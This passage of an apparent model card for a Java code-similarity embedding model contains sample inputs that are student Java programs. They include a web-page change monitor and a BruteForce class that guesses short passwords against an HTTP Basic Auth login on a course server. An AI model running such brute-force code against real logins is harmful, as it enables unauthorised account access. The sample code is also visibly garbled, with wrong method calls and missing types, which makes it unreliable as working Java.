BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if 